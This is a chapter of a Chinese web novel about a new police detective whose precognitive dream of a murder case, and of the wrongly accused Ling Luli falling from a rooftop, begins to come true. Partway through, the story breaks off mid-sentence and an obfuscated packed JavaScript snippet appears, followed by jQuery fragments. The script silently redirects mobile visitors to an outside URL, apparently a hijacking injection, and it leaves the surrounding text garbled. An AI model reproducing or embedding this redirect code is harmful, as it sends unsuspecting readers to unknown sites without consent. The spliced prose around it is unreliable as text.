“我会诅咒你们!永远!”凌路离含泪说完控诉的话后,身子向后一仰,整个人直直坠了下去。
在他坠落的一瞬,苏子芩冲到天台前,伸出手想要拉住他,却只碰到了他的衣袖。
她就这么看着他坠了下去,在坠落前,他眼角飞扬的泪花随风吹到了她的脸上。
明明就差一点儿,就差一点儿她就能拉住他,救下他的。
莫名的自责和内疚包裹着她,下一秒,苏子芩就陷入了无边黑暗。
“不要!”苏子芩从梦中惊醒,整个人止不住颤抖。
刚才梦中巨大刺激的余韵还在,过了好一会儿,她才适应回眼前的环境。
原来,刚才发生的一切都是一场梦。
难怪、她刚才置身梦境时,就觉得处处都透露着诡异。
为什么早上看的新闻报道,会出现在案件发现前?
为什么面前的场景总是变来变去?
刚才所有的一切,如果是发生在梦里,就都解释得通了。
还好是梦。
苏子芩拍拍胸脯,松了口气,脑海中不禁再次闪过凌路离站在天台上的场景。
可是,这个梦未免过于真实了些。
苏子芩低头看了眼自己的手,手在微微发颤,一想起来还是会感到后怕。
她抬手擦掉了额上的冷汗,一想起刚才的梦境,额间就又有冷汗冒出。
没办法、这个梦实在是过于真实了些,就算她从梦中醒来有段时间了,也还是忘不掉那双满是悲伤怨恨的眼睛。
凌路离吗?
苏子芩仔细回想了下梦中那个男人的样貌,发现自己并不认识他。
就连唯一知道的名字,也是在梦里听见的。
警局里的同事倒还好说,毕竟在入职前,她已经了解过他们的大概情况,对他们有印象也正常。
但凌路离她见都没见过,怎么会突然梦见他?
而且,在梦里他还是作为唯一的嫌疑人被逮捕起来的。
苏子芩想着拿起手机看了眼,凌晨五点,天还没有亮,但她已没了睡意。
躺在床上半梦半醒着待了一会儿,等到快七点时,苏子芩才起身离开卧室来到客厅。
她打开冰箱拿了吐司出来,又从沙发上拿了遥控器打开了电视。
这一系列的操作似曾相识,莫名眼熟,她想起自己刚才做的梦,拿着遥控器的手忍不住颤了颤。
电视打开后,默认的频道果然是北城新闻频道。
苏子芩屏气凝神,怕又看见和梦里一模一样的场景。
如果真的出现一样的场景,不就说明她其实还在梦里,根本没醒嘛。
好在新闻只是播报了一些无关痛痒的小事,并没有出现梦里的杀人案件。
她这才稍微放心了,看样子、这会儿应该是不在梦里了。
可是,苏子芩才刚松了口气,猛然想起梦中看见的新闻报道,命案发生时间是在9月9日晚,不就是昨天晚上吗?
该不会,昨晚真的发生了杀人案吧?
苏子芩胡思乱想了一路,不觉已经到了警局,来到警局时,局里已经有人在了。
她踏进门时,那人原本背对着她,大概是听见了脚步声,他转过头来,正是常舟。
在看见常舟的一瞬,苏子芩有些愣神,这个场景又和她做的梦重合了。
她心里涌起一阵不好的预感。
“你是新来报到的吧?”常舟说着和梦里一模一样的台词,苏子芩点点头,听见他自我介绍道:“市刑事侦查支队,常舟。”
“苏子芩。”
不等两人多说什么,就有人走了进来,在他身后还跟了不少人。
来人不是别人,正是顾星轸。
“顾队。”常舟喊了一声,顾星轸此时已经到了两人跟前,他瞥了一眼苏子芩转向常舟:“新来报到的?”
“嗯、她就是苏子芩。”常舟的回答果然和梦里一模一样。
顾星轸身后的几人开始窃窃私语起来:
“是那个新警考核申论第一名诶。”
“原来是这么年轻的小女孩。”
“她一来,咱们警局的平均颜值又可以往上拉升了。”
......
顾星轸皱了皱眉,冷声道:“刚毕业当然年轻了,查案又不是靠脸。”
眼看着不管是他们的反应,还是讨论的话,都和梦里相差无几,苏子芩更懵了。
难道说,其实她还在梦里吗?
“常副队,你能掐我一下吗?”苏子芩突然道,她的话令在场众人都愣住了。
不等常舟回应,下一秒,苏子芩已经掐上了他的胳膊。
只听见常舟“嗷”的一嗓子,他疼得直跺脚,“不是说让我掐你吗?你怎么掐我?”
看常舟那疼的样子,看来现在真的不是梦。
苏子芩心想着,听见身旁传来同事们倒吸气的声音。
“常舟怎么说也是你的上司,你怎么能这么没轻没重?”顾星轸冷声道,话语里略带训斥的口吻,“要知道,你新人期可是有多项考核的。”
“顾队,我想她也不是故意的,你就别怪她了。”不等苏子芩回应,常舟就笑道,“她也没用力,其实不疼。”
“对不起,副队。”苏子芩知道刚才的举动在别人看来确实不礼貌,她又不能说自己做了一个类似的梦,怕还在梦里。
要是这么说了,估计他们会立刻找来医生给她做精神鉴定。
“没事。”常舟显然并没有放在心上,见她低头认错,他笑了笑还不等多说什么,电话就响了起来。
苏子芩心中一惊,该不会是?
“什么?命案?具体地址在哪里?”
常舟就在她身旁不远处,他说的话苏子芩听得一清二楚,“无名街落霞公寓?”
等挂了电话后,他的神色变得凝重:“无名街落霞公寓发生命案,我们得快些赶过去。”
顾星轸点点头,对身旁的人吩咐道:“你去联系法医和调查组。”
苏子芩跟着他们一起来到落霞公寓,现场已经拉好了警戒线。
在来的路上,她从同事的口中得知,十楼因为只有死者一户,他又是死在家中,尸体是早上负责清洁的阿姨开门后才发现的。
在他们赶到现场后,法医和调查组也很快到了现场。
苏子芩看着面前的场景,不管是客厅里的水晶茶几,还是近百英寸的大电视,又或是落地窗,全都和她在梦里看见的一模一样。
“这个现场有清洁过的痕迹。”顾星轸的声音响起,苏子芩回过神来,听见一旁的常舟说:“负责清洁的阿姨说她没有动过现场,在进门发现尸体后,她第一时间就报警了。”
“既然不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412382|184653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿姨清洁的,那就只有一个可能了。”法医和调查组已经开始在现场调查勘探,顾星轸看着面前有些过度整洁的犯罪现场,沉声道:“是凶手行凶后清洁的。”
他话音刚落,有调查组的人员从外面赶来,到了几人面前道:“刚调了楼里的监控,昨晚9点有人来找过死者。”
“查到是谁了吗?”
“是凌氏集团的总裁凌路离。”
眼看着面前的一切都和梦中近乎相同的展开,苏子芩犹豫着该怎么对常舟和顾星轸开口。
如果所有一切都和梦里一样,那凌路离就是被冤枉的。
或许,她之所以做了一个像预知一样的梦,就是为了赶在悲剧发生前,阻止这一切。
只是,她该怎么做呢?
如果她贸然把预知梦的事情告诉顾星轸和常舟,他们一定会觉得她疯了。
毕竟,梦境又不是现实。
就算凌路离在梦里再冤枉,也并不代表现实里他就是无辜的。
办案讲究的是证据,不管他有罪还是无罪,都要靠证据说话。
“地板上那个字母不就是L吗?我记得凌氏集团的总裁叫凌路离,三个字都是L开头的拼音,难道会是巧合吗?”常舟的声音响起,苏子芩的思绪被拉回,她听见顾星轸冷哼一声:“怎么可能会是巧合?看来我们有必要见见那位凌总了。”
听他们这么说,苏子芩一着急脱口而出:“可如果他打扫,应该会看见对自己不利的死亡讯息,一定会想办法处理掉才对吧?”
等说完后,她才惊觉自己刚才说的话和梦中一模一样。
“有道理。”常舟点点头,听见顾星轸说:“或许他是多想了一步,才故意留着这条信息。”
“也对啊。”常舟很快被说服,顾星轸无奈:“你到底站在哪一边?”
“不管怎么说,我们得去会会那位凌总了。”
在坐车去往凌氏集团的路上,苏子芩和常舟并排坐在后座。
常舟看她心不在焉,有些好奇问道:“你是不是紧张了?”
苏子芩转过头撞上他关切的目光,摇了摇头:“没有。”
“没关系、刚来警局第一天就碰上凶案现场,换成是谁都会有些紧张的。”常舟显然不信她的回答,开口安慰道。
“谢谢副队。”知道多说无益,苏子芩干脆不多解释。
很快地,几人就到了凌氏集团的大楼前。
凌氏集团位于北城市中心,整栋楼高达十数层,分成多个部门。
隔着一段距离,远远就能看见大楼上闪闪发亮的两个大字“凌氏”。
站在公司楼下,苏子芩抬眼向上望去,想起梦中凌路离从楼顶天台坠落的场景,心里忍不住有些后怕。
她使劲摇摇头,告诉自己不过就是一场梦,不要太当真。
但只要一想起那双含泪的眸子,她的内心就很难平静下来。
几人进了公司大楼,一楼的接待见是警察来了,并没有多做阻拦,而是恭敬将他们带到了凌路离办公的楼层。
在跟秘书汇报过后,接待才留下几人离开了。
凌路离的秘书是个年轻男人,看起来大约二十五岁左右。
在来的路上,他们已经将凌路离的身份背景调查的差不多了。
他们当然知道,面前的男人是凌路离的秘书牧川泽,也是他的大学同学。